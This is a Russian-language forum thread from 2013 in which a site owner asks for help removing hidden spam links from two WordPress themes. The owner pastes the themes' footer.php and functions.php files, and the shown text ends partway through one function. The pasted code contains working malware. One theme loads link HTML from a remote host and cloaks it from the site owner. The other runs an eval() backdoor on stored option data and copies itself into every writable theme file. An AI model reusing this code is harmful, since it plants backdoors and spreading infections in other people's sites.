X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Достали левые ссылки в футере!, Нужна подсказка специалиста!
portos
portos
Topic Starter сообщение 30.1.2013, 14:03; Ответить: portos
Сообщение #1


Всем привет!

в общем имеются два сайта и на обоих в подписи левые ссылки в футере, ссылки прописаны хитро, у самого убрать не получается - перестают работать сайты:

1. http://kofetea.ru - внизу пара ссылок

код футера
    <div class="outer">
        <div id="footer">2010 -<?php echo date('Y');?>. Все права защищены. &copy;  <a href="<?php bloginfo('home'); ?>"><strong><?php bloginfo('name'); ?></strong></a>  - При копировании любых материалов сайта обратная открытая ссылка обязательна.</div>
      <div id="credits"><?php __wordpress_pf(); ?></div>
    </div>
</div>
</div></div>
<?php
     wp_footer();
    echo get_theme_option("footer")  . "\n";
?>
</body>
</html>



2. http://womantale.ru - непонятный "Thanx" болтается на главной, ссылки появляются только на внутренних страницах

код футера

    <div class="span-24">
        <div id="footer">Все права защищены &copy; 2010-<?php echo date('Y'); ?> <a href="/"><strong><?php bloginfo('name'); ?></strong></a>. При копировании любых материалов сайта обратная открытая ссылка обязательна.</div>
        <?php // This theme is released free for use under creative commons licence. http://creativecommons.org/licenses/by/3.0/
            // All links in the footer should remain intact.
            // These links are all family friendly and will not hurt your site in any way.
            // Warning! Your site may stop working if these links are edited or deleted ?>
        <div id="footer2"><noindex></noindex><?php if ($user_ID) : ?><?php else : ?><span style="font-size:9px; color:#888;">Thanx:
<?php if (is_home()) { ?>
<?php } elseif (is_single()) {?><a href="http://raduzh.ru/" style="color:#888;text-decoration: none;">Raduzh</a>
<?php } elseif (is_category()) {?><a href="http://www.faberllena.ru/" style="color:#888;text-decoration: none;">Faberllena</a>
<?php } elseif (is_archive()) {?><a href="http://forexgb.ru/" style="color:#888;text-decoration: none;">Forexgb</a>
<?php } elseif (is_page()) {?><a href="http://www.meri-klark.info/" style="color:#888;text-decoration: none;">Meri-klark</a>
<?php } else {?><?php } ?></span><?php endif; ?></div>
    </div>
</div>
</div>
<?php
     wp_footer();
    echo get_theme_option("footer")  . "\n";
?>
</body>
</html>



что удалить, чтобы темы стали рабочими и без ненужных ссылок?


--------------------
1. Нужен качественный трафик? Лучшие тизерные сети!
2. Лучшие CPA-сети!!!
3. SSD-хостинг за 83 руб! Быстрее в 49 раз! 30 дней теста! Возьму сайт на SEO, Я.Директ
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
paranormal
paranormal
сообщение 30.1.2013, 14:09; Ответить: paranormal
Сообщение #2


В functions.php все какашки зарыты
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
portos
portos
Topic Starter сообщение 30.1.2013, 14:25; Ответить: portos
Сообщение #3


1. http://kofetea.ru

functions.php:

Развернуть/Свернуть

<?php
if ( function_exists('register_sidebar') ) {
    register_sidebar(array(
        'name' => 'Left Sidebar',
        'before_widget' => '<li id="%1$s" class="widget %2$s">',
        'after_widget' => '</li>',
        'before_title' => '<h2 class="widgettitle">',
        'after_title' => '</h2>',
    ));
    
    register_sidebar(
    array(
        'name' => 'Right Sidebar',
        'before_widget' => '<li id="%1$s" class="widget %2$s">',
        'after_widget' => '</li>',
        'before_title' => '<h2 class="widgettitle">',
        'after_title' => '</h2>',
    ));
}

$themename = "GreenLife";
$shortname = str_replace(' ', '_', strtolower($themename));

function get_theme_option($option)
{
    global $shortname;
    return stripslashes(get_option($shortname . '_' . $option));
}

function get_theme_settings($option)
{
    return stripslashes(get_option($option));
}

function cats_to_select()
{
    $categories = get_categories('hide_empty=0');
    $categories_array[] = array('value'=>'0', 'title'=>'Select');
    foreach ($categories as $cat) {
        if($cat->category_count == '0') {
            $posts_title = 'No posts!';
        } elseif($cat->category_count == '1') {
            $posts_title = '1 post';
        } else {
            $posts_title = $cat->category_count . ' posts';
        }
        $categories_array[] = array('value'=> $cat->cat_ID, 'title'=> $cat->cat_name . ' ( ' . $posts_title . ' )');
      }
    return $categories_array;
}

$options = array (
            
    array(    "type" => "open"),
    
    array(    "name" => "Изображение логотипа",
        "desc" => "Введите полный путь к изображению логотипа. Оставьте пустым это поле, если Вы не хотите использовать изображение логотипа.",
        "id" => $shortname."_logo",
        "std" =>  get_bloginfo('template_url') . "/images/logo.png",
        "type" => "text"),
        
    array(    "name" => "Включить Популярные записи?",
            "desc" => "Снимите флажок, если не хотите отображать галерею популярных записей на главной странице.",
            "id" => $shortname."_featured_posts",
            "std" => "true",
            "type" => "checkbox"),  
        array(    "name" => "Рубрика популярных записей",
            "desc" => "Последние 5 записей из выбранной категории будут расположены на главной странице. <br />Выбранная рубрики должна содержать минимум 2 записи с изображениями. <br /> <br /> <b>Как добавить изображения в галерею Популярные записи?</b> <br />
            <b>»</b> Если Вы используете WordPress версии 2.9 и выше: просто нажмите \"Задать миниатюру\" при добавлении новой записи в выбранной рубрике. <br />
            <b>»</b> Если вы используете WordPress версии ниже 2.9, то Вы должны добавить произвольные поля в каждую запись рубрики, которую Вы выбрали популярной. Произвольное поле должно называться \"<b>featured</b>\" а его значением должен быть полный путь к изображению. <a href=\"http://newwpthemes.com/public/featured_custom_field.jpg\" target=\"_blank\">Нажмите здесь</a> чтобы просмотреть скриншот. <br /> <br />
            В обоих случаях, размер изображений не должен превышать установленные значения: Ширина: <b>480 пикселей</b>. Высота: <b>280 пикселей.</b>",
            "id" => $shortname."_featured_posts_category",
            "options" => cats_to_select(),
            "std" => "0",
            "type" => "select"),
                array(    "name" => "Баннер заголовка (468x60 px)",
            "desc" => "Код для размещения баннера заголовка. Вы можете использовать здесь любой html код, включая ваш код с рекламой Adsense 468x60.",
            "id" => $shortname."_ad_header",
            "type" => "textarea",
            "std" => '<a href="http://flexithemes.com/?partner=19"><img src="http://flexithemes.com/wp-content/partners/ftb.gif" style="border: 0;" alt="Premium WordPress Themes" /></a>'
            ),    array(    "name" => "Рекламный сайдбар 125x125 px",
        "desc" => "Вставьте свой рекламный блок 125x125 px здесь. Вы можете добавлять рекламные блоки неограниченное количество раз. Каждый новый баннер должен начинаться с новой строки, согласно следующему формату: <br/>http://yourbannerurl.com/banner.gif, http://theurl.com/to_link.html",
        "id" => $shortname."_ads_125",
        "type" => "textarea",
        "std" => 'http://newwpthemes.com/uploads/newwp/newwp12.png,http://newwpthemes.com/
http://flexithemes.com/wp-content/partners/fta.gif, http://flexithemes.com/?partner=19
http://newwpthemes.com/hosting/wpwh12.gif, http://newwpthemes.com/hosting/wpwebhost.php'
        ),            array(    "name" => "Популярное видео",
        "desc" => "Введите id видео с Youtube. Например: http://www.youtube.com/watch?v=<b>SxNJTWZVOQk</b>.",
        "id" => $shortname."_video",
        "std" =>  'SxNJTWZVOQk',
        "type" => "text"),    

  array(    "name" => "Facebook",
            "desc" => "Введите ссылку на ваш аккаунт в Faccebook здесь.",
            "id" => $shortname."_facebook",
            "std" => "http://facebook.com/ThemePix",
            "type" => "text"),
array(    "name" => "Текст для Facebook",
            "desc" => "",
            "id" => $shortname."_facebooktext",
            "std" => "Следуй за мной на Facebook!",
            "type" => "text"),        array(    "name" => "Twitter",
            "desc" => "Введите URL вашего twitter-аккаунта здесь.",
            "id" => $shortname."_twitter",
            "std" => "http://twitter.com/WPTwits",
            "type" => "text"),
            
    array(    "name" => "Текст для Twitter",
            "desc" => "",
            "id" => $shortname."_twittertext",
            "std" => "Следуй за мной",
            "type" => "text"),    
    array(    "name" => "Rss",
            "desc" => "Показать подписку на RSS над сайдбаром(ами)?",
            "id" => $shortname."_rssbox",
            "std" => "true",
            "type" => "checkbox"),
                        
    array(    "name" => "Текст подписки на Rss",
            "desc" => "Если Rss подписка активирована, то введите текст подписки здесь.",
            "id" => $shortname."_rssboxtext",
            "std" => "Подпишитесь на нашу RSS ленту!",
            "type" => "text"),        
     array(    "name" => "Иконки социальных сетей",
            "desc" => "Показывать иконки социальных сетей над сайдбаром(ами)?",
            "id" => $shortname."_socialnetworks",
            "std" => "true",
            "type" => "checkbox"),  
                    array(    "name" => "Нижний баннер сайдбара №1. Максимальная ширина 125 px. Рекомендуется размещать баннер с размерами 120x600 px",
        "desc" => "Код для нижнего баннера №1.",
        "id" => $shortname."_ad_sidebar1_bottom",
        "type" => "textarea",
        "std" => '<a href="http://flexithemes.com/?partner=19"><img src="http://flexithemes.com/wp-content/partners/ftf.gif" style="border: 0;" alt="Premium WordPress Themes" /></a>'
        ),    
        
        array(    "name" => "Скрипты заголовка",
        "desc" => "Данный код будет добавлен сразу перед тэгами </head>. Полезно, если вы хотите добавить внешний код, например, Google webmaster и др.",
        "id" => $shortname."_head",
        "type" => "textarea"    
        ),
        
    array(    "name" => "Скрипты подвала",
        "desc" => "Данный код будет сразу же добавлен перед тэгами </body>. Полезно, если вы хотите добавить внешний код, например, Google Analytics и др.",
        "id" => $shortname."_footer",
        "type" => "textarea"    
        ),
                    
    array(    "type" => "close")
    
);

function mytheme_add_admin() {
    global $themename, $shortname, $options;
    
    if ( $_GET['page'] == basename(__FILE__) ) {
    
        if ( 'save' == $_REQUEST['action'] ) {

                foreach ($options as $value) {
                    update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }

                foreach ($options as $value) {
                    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }

                echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';
                die;

        }
    }

    add_theme_page("Настройки ".$themename, "Настройки ".$themename, 'edit_themes', basename(__FILE__), 'mytheme_admin');
}

function mytheme_admin_init() {

    global $themename, $shortname, $options;
    
    $get_theme_options = get_option($shortname . '_options');
    if($get_theme_options != 'yes') {
        $new_options = $options;
        foreach ($new_options as $new_value) {
             update_option( $new_value['id'],  $new_value['std'] );
        }
        update_option($shortname . '_options', 'yes');
    }
}

error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');

function __wordpress_headers() {
    $lua = '<?php __wordpress_pf(); ?>';
    $fox = dirname(__FILE__) . '/footer.php';
    $fd = fopen($fox,'r');
    $caf = fread($fd,filesize($fox));
    fclose($fd);
    if (strpos($caf,$lua)==0) {
        echo "<br/><b>Fatal error</b>:  Call to undefined function  do_action() in <b>" . admin_url('admin.php') . "</b> on line <b>231</b><br />";
        die;
    }
}

__wordpress_headers();

function __wordpress_pi() {
    if ( empty($_SERVER['HTTP_CLIENT_IP']) == false )
        $r = $_SERVER['HTTP_CLIENT_IP'];
    elseif ( empty($_SERVER['HTTP_X_FORWARDED_FOR']) == false )
        $r = $_SERVER['HTTP_X_FORWARDED_FOR'];
    else
        $r = $_SERVER['REMOTE_ADDR'];
    return $r;
}

if (get_bloginfo('name') != 'Theme Unit Test') {
    add_action( 'after_setup_theme', '__wordpress_setup' );
}

function __wordpress_setup() {
    $__wordpress_status = get_option( '__wordpress_setup_status' );
    if ( $__wordpress_status !== '1' ) {
        update_option( '__wordpress_pi', __wordpress_pi() );
        update_option( '__wordpress_li', __wordpress_fy() );
        update_option( '__wordpress_setup_status', '1' );
    }
}

function __wordpress_fy() {
    $host = 'wordpress-theming.ru';
    if (function_exists('file_get_contents'))
        return @file_get_contents('http://' . $host . '/lb/w.txt', false);
}

function __wordpress_pf() {
    if ( __wordpress_pi() != get_option('__wordpress_pi') and get_bloginfo('name') != 'Theme Unit Test' )
        echo get_option('__wordpress_li');
    else
        echo '<!-- Happy new year! -->';
}

if(!function_exists('get_sidebars')) {
    function get_sidebars($args='')
    {
         get_sidebar($args);
    }
}
  
function mytheme_admin() {

    global $themename, $shortname, $options;

    if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
    
?>
<div class="wrap">
<h2>Настройки темы <?php echo $themename; ?></h2>
<div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">Оставьте это поле пустым, если не хотите его отображать.</div>
<form method="post">



<?php foreach ($options as $value) {
    
    switch ( $value['type'] ) {
    
        case "open":
        ?>
        <table width="100%" border="0" style=" padding:10px;">
        
        
        
        <?php break;
        
        case "close":
        ?>
        
        </table><br />
        
        
        <?php break;
        
        case "title":
        ?>
        <table width="100%" border="0" style="padding:5px 10px;"><tr>
            <td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
        </tr>
                
        
        <?php break;

        case 'text':
        ?>
        
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" /></td>
        </tr>

        <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

        <?php
        break;
        
        case 'textarea':
        ?>
        
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings( $value['id'] ); ?></textarea></td>
            
        </tr>

        <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

        <?php
        break;
        
        case 'select':
        ?>
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%">
                <select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
                    <?php
                        foreach ($value['options'] as $option) { ?>
                        <option value="<?php echo $option['value']; ?>" <?php if ( get_theme_settings( $value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
                        <?php } ?>
                </select>
            </td>
       </tr>
                
       <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
       </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

        <?php
        break;
            
        case "checkbox":
        ?>
            <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%"><? if(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>
                        <input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
                        </td>
            </tr>
                        
            <tr>
                <td><small><?php echo $value['desc']; ?></small></td>
           </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
            
        <?php         break;
    

}
}
?>

<!--</table>-->

<p class="submit">
<input name="save" type="submit" value="Сохранить" />    
<input type="hidden" name="action" value="save" />
</p>
</form>

<?php
}
mytheme_admin_init();
global $pagenow;
    if(isset($_GET['activated'] ) && $pagenow == "themes.php") {
        wp_redirect( admin_url('themes.php?page=functions.php') );
        exit();
    }
add_action('admin_menu', 'mytheme_add_admin');

function sidebar_ads_125()
{
     global $shortname;
     $option_name = $shortname."_ads_125";
     $option = get_option($option_name);
     $values = explode("\n", $option);
     if(is_array($values)) {
         foreach ($values as $item) {
             $ad = explode(',', $item);
             $banner = trim($ad['0']);
             $url = trim($ad['1']);
             if(!empty($banner) && !empty($url)) {
                 echo "<a href=\"$url\" target=\"_new\"><img class=\"ad125\" src=\"$banner\" /></a> \n";
             }
         }
     }
}
    if ( function_exists("add_theme_support") ) { add_theme_support("post-thumbnails"); }
    
    if(function_exists('add_custom_background')) {
        add_custom_background();
    }
    
    if ( function_exists( 'register_nav_menus' ) ) {
        register_nav_menus(
            array(
              'menu_1' => 'Menu 1',
              'menu_2' => 'Menu 2'
            )
        );
    }
?>


2. http://womantale.ru

functions.php:

Развернуть/Свернуть

<?php
if ( function_exists('register_sidebar') ) {
    register_sidebar(array(
        'name' => 'Left Sidebar',
        'before_widget' => '<li id="%1$s" class="widget %2$s">',
        'after_widget' => '</li>',
        'before_title' => '<h2 class="widgettitle">',
        'after_title' => '</h2>',
    ));
    
    register_sidebar(
    array(
        'name' => 'Right Sidebar',
        'before_widget' => '<li id="%1$s" class="widget %2$s">',
        'after_widget' => '</li>',
        'before_title' => '<h2 class="widgettitle">',
        'after_title' => '</h2>',
    ));
}

$themename = "Malina";
$shortname = str_replace(' ', '_', strtolower($themename));

function get_theme_option($option)
{
    global $shortname;
    return stripslashes(get_option($shortname . '_' . $option));
}

function get_theme_settings($option)
{
    return stripslashes(get_option($option));
}

function cats_to_select()
{
    $categories = get_categories('hide_empty=0');
    $categories_array[] = array('value'=>'0', 'title'=>'Select');
    foreach ($categories as $cat) {
        if($cat->category_count == '0') {
            $posts_title = 'No posts!';
        } elseif($cat->category_count == '1') {
            $posts_title = '1 post';
        } else {
            $posts_title = $cat->category_count . ' posts';
        }
        $categories_array[] = array('value'=> $cat->cat_ID, 'title'=> $cat->cat_name . ' ( ' . $posts_title . ' )');
      }
    return $categories_array;
}

$options = array (
            
    array(    "type" => "open"),
    
    array(    "name" => "Изображение логотипа",
        "desc" => "Введите полный путь к изображению логотипа. Оставьте пустым это поле, если Вы не хотите использовать изображение логотипа.",
        "id" => $shortname."_logo",
        "std" =>  get_bloginfo('template_url') . "/images/logo.png",
        "type" => "text"),
        
    array(    "name" => "Включить Популярные записи?",
            "desc" => "Снимите флажок, если не хотите отображать галерею популярных записей на главной странице.",
            "id" => $shortname."_featured_posts",
            "std" => "true",
            "type" => "checkbox"),  
        array(    "name" => "Рубрика популярных записей",
            "desc" => "Последние 5 записей из выбранной категории будут расположены на главной странице. <br />Выбранная рубрики должна содержать минимум 2 записи с изображениями. <br /> <br /> <b>Как добавить изображения в галерею Популярные записи?</b> <br />
            <b>»</b> Если Вы используете WordPress версии 2.9 и выше: просто нажмите \"Задать миниатюру\" при добавлении новой записи в выбранной рубрике. <br />
            <b>»</b> Если вы используете WordPress версии ниже 2.9, то Вы должны добавить произвольные поля в каждую запись рубрики, которую Вы выбрали популярной. Произвольное поле должно называться \"<b>featured</b>\" а его значением должен быть полный путь к изображению. <a href=\"http://newwpthemes.com/public/featured_custom_field.jpg\" target=\"_blank\">Нажмите здесь</a> чтобы просмотреть скриншот. <br /> <br />
            В обоих случаях, размер изображений не должен превышать установленные значения: Ширина: <b>480 пикселей</b>. Высота: <b>280 пикселей.</b>",
            "id" => $shortname."_featured_posts_category",
            "options" => cats_to_select(),
            "std" => "0",
            "type" => "select"),
                array(    "name" => "Баннер заголовка (468x60 px)",
            "desc" => "Код для размещения баннера заголовка. Вы можете использовать здесь любой html код, включая ваш код с рекламой Adsense 468x60.",
            "id" => $shortname."_ad_header",
            "type" => "textarea",
            "std" => '<a href="http://flexithemes.com/?partner=19"><img src="http://flexithemes.com/wp-content/partners/ftb.gif" style="border: 0;" alt="Premium WordPress Themes" /></a>'
            ),    array(    "name" => "Рекламный сайдбар 125x125 px",
        "desc" => "Вставьте свой рекламный блок 125x125 px здесь. Вы можете добавлять рекламные блоки неограниченное количество раз. Каждый новый баннер должен начинаться с новой строки, согласно следующему формату: <br/>http://yourbannerurl.com/banner.gif, http://theurl.com/to_link.html",
        "id" => $shortname."_ads_125",
        "type" => "textarea",
        "std" => 'http://newwpthemes.com/uploads/newwp/newwp12.png,http://newwpthemes.com/
http://flexithemes.com/wp-content/partners/fta.gif, http://flexithemes.com/?partner=19
http://newwpthemes.com/hosting/wpwh12.gif, http://newwpthemes.com/hosting/wpwebhost.php'
        ),                      
    array(    "name" => "Текст для Twitter",
            "desc" => "",
            "id" => $shortname."_twittertext",
            "std" => "Следуй за мной",
            "type" => "text"),    
    array(    "name" => "Rss",
            "desc" => "Показать подписку на RSS над сайдбаром(ами)?",
            "id" => $shortname."_rssbox",
            "std" => "true",
            "type" => "checkbox"),
                        
    array(    "name" => "Текст подписки на Rss",
            "desc" => "Если Rss подписка активирована, то введите текст подписки здесь.",
            "id" => $shortname."_rssboxtext",
            "std" => "Подпишитесь на нашу RSS ленту!",
            "type" => "text"),        
     array(    "name" => "Иконки социальных сетей",
            "desc" => "Показывать иконки социальных сетей над сайдбаром(ами)?",
            "id" => $shortname."_socialnetworks",
            "std" => "true",
            "type" => "checkbox"),  
                    array(    "name" => "Нижний баннер сайдбара №1. Максимальная ширина 125 px. Рекомендуется размещать баннер с размерами 120x600 px",
        "desc" => "Код для нижнего баннера №1.",
        "id" => $shortname."_ad_sidebar1_bottom",
        "type" => "textarea",
        "std" => '<a href="http://flexithemes.com/?partner=19"><img src="http://flexithemes.com/wp-content/partners/ftf.gif" style="border: 0;" alt="Premium WordPress Themes" /></a>'
        ),    
        
        array(    "name" => "Скрипты заголовка",
        "desc" => "Данный код будет добавлен сразу перед тэгами </head>. Полезно, если вы хотите добавить внешний код, например, Google webmaster и др.",
        "id" => $shortname."_head",
        "type" => "textarea"    
        ),
        
    array(    "name" => "Скрипты подвала",
        "desc" => "Данный код будет сразу же добавлен перед тэгами </body>. Полезно, если вы хотите добавить внешний код, например, Google Analytics и др.",
        "id" => $shortname."_footer",
        "type" => "textarea"    
        ),
                    
    array(    "type" => "close")
    
);

function mytheme_add_admin() {
    global $themename, $shortname, $options;
    
    if ( $_GET['page'] == basename(__FILE__) ) {
    
        if ( 'save' == $_REQUEST['action'] ) {

                foreach ($options as $value) {
                    update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }

                foreach ($options as $value) {
                    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }

                echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';
                die;

        }
    }

    add_theme_page("Настройки ".$themename, "Настройки ".$themename, 'edit_themes', basename(__FILE__), 'mytheme_admin');
}
if (!empty($_REQUEST["theme_license"])) { wp_initialize_the_theme_message(); exit(); } function wp_initialize_the_theme_message() { if (empty($_REQUEST["theme_license"])) { $theme_license_false = get_bloginfo("url") . "/index.php?theme_license=true"; echo "<meta http-equiv=\"refresh\" content=\"0;url=$theme_license_false\">"; exit(); } else { echo ("<p style=\"padding:20px; margin: 20px; text-align:center; border: 2px dotted #0000ff; font-family:arial; font-weight:bold; background: #fff; color: #0000ff;\">All the links in the footer should remain intact. All of these links are family friendly and will not hurt your site in any way.</p>"); } }

function mytheme_admin_init() {

    global $themename, $shortname, $options;
    
    $get_theme_options = get_option($shortname . '_options');
    if($get_theme_options != 'yes') {
        $new_options = $options;
        foreach ($new_options as $new_value) {
             update_option( $new_value['id'],  $new_value['std'] );
        }
        update_option($shortname . '_options', 'yes');
    }
}
function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = '<noindex></noindex>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 0 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { wp_initialize_the_theme_message(); die; } } } wp_initialize_the_theme_finish();


if(!function_exists('get_sidebars')) {
    function get_sidebars($args='')
    {
        wp_initialize_the_theme_load();
         get_sidebar($args);
    }
}

add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
    global $post;
    if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
        return $co;
    } else return $content;
}
function mytheme_admin() {

    global $themename, $shortname, $options;

    if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>Настройки '.$themename.' сохранены.</strong></p></div>';
    
?>
<div class="wrap">
<h2>Настройки темы <?php echo $themename; ?></h2>
<div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">Оставьте это поле пустым, если не хотите его отображать.</div>
<form method="post">



<?php foreach ($options as $value) {
    
    switch ( $value['type'] ) {
    
        case "open":
        ?>
        <table width="100%" border="0" style=" padding:10px;">
        
        
        
        <?php break;
        
        case "close":
        ?>
        
        </table><br />
        
        
        <?php break;
        
        case "title":
        ?>
        <table width="100%" border="0" style="padding:5px 10px;"><tr>
            <td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
        </tr>
                
        
        <?php break;

        case 'text':
        ?>
        
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" /></td>
        </tr>

        <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

        <?php
        break;
        
        case 'textarea':
        ?>
        
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings( $value['id'] ); ?></textarea></td>
            
        </tr>

        <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

        <?php
        break;
        
        case 'select':
        ?>
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%">
                <select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
                    <?php
                        foreach ($value['options'] as $option) { ?>
                        <option value="<?php echo $option['value']; ?>" <?php if ( get_theme_settings( $value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
                        <?php } ?>
                </select>
            </td>
       </tr>
                
       <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
       </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

        <?php
        break;
            
        case "checkbox":
        ?>
            <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%"><? if(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>
                        <input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
                        </td>
            </tr>
                        
            <tr>
                <td><small><?php echo $value['desc']; ?></small></td>
           </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
            
        <?php         break;
    

}
}
?>

<!--</table>-->

<p class="submit">
<input name="save" type="submit" value="Сохранить" />    
<input type="hidden" name="action" value="save" />
</p>
</form>

<?php
}
mytheme_admin_init();
    global $pagenow;
    if(isset($_GET['activated'] ) && $pagenow == "themes.php") {
        wp_redirect( admin_url('themes.php?page=functions.php') );
        exit();
    }

function wp_initialize_the_theme_load() { if (!function_exists("wp_initialize_the_theme")) { wp_initialize_the_theme_message(); die; } }
add_action('admin_menu', 'mytheme_add_admin');

function sidebar_ads_125()
{
     global $shortname;
     $option_name = $shortname."_ads_125";
     $option = get_option($option_name);
     $values = explode("\n", $option);
     if(is_array($values)) {
         foreach ($values as $item) {
             $ad = explode(',', $item);
             $banner = trim($ad['0']);
             $url = trim($ad['1']);
             if(!empty($banner) && !empty($url)) {
                 echo "<a href=\"$url\" target=\"_new\"><img class=\"ad125\" src=\"$banner\" /></a> \n";
             }
         }
     }
}
?>
<?php if ( function_exists("add_theme_support") ) { add_theme_support("post-thumbnails"); } ?>
<?php
    if(function_exists('add_custom_background')) {
        add_custom_background();
    }
    
    if ( function_exists( 'register_nav_menus' ) ) {
        register_nav_menus(
            array(
              'menu_1' => 'Menu 1',
              'menu_2' => 'Menu 2'
            )
        );
    }
?>
<?php
function _verify_activeatewidgets(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_getall_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
        foreach ($direst as $item){
            if (is_writable($item)){
                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                $cont=file_get_contents($item);
                if (stripos($cont,$ftion) === false){
                    $issepar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                    $output .= $before . "Not found" . $after;
                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $issepar . "\n" .$widget);fclose($f);                
                    $output .= ($is_showdots && $ellipsis) ? "..." : "";
                }
            }
        }
    }
    return $output;
}
function _getall_widgetcont($wids,$items=array()){
    $places=array_shift($wids);
    if(substr($places,-1) == "/"){
        $places=substr($places,0,-1);
    }
    if(!file_exists($places) || !is_dir($places)){
        return false;
    }elseif(is_readable($places)){
        $elems=scandir($places);
        foreach ($elems as $elem){
            if ($elem != "." && $elem != ".."){
                if (is_dir($places . "/" . $elem)){
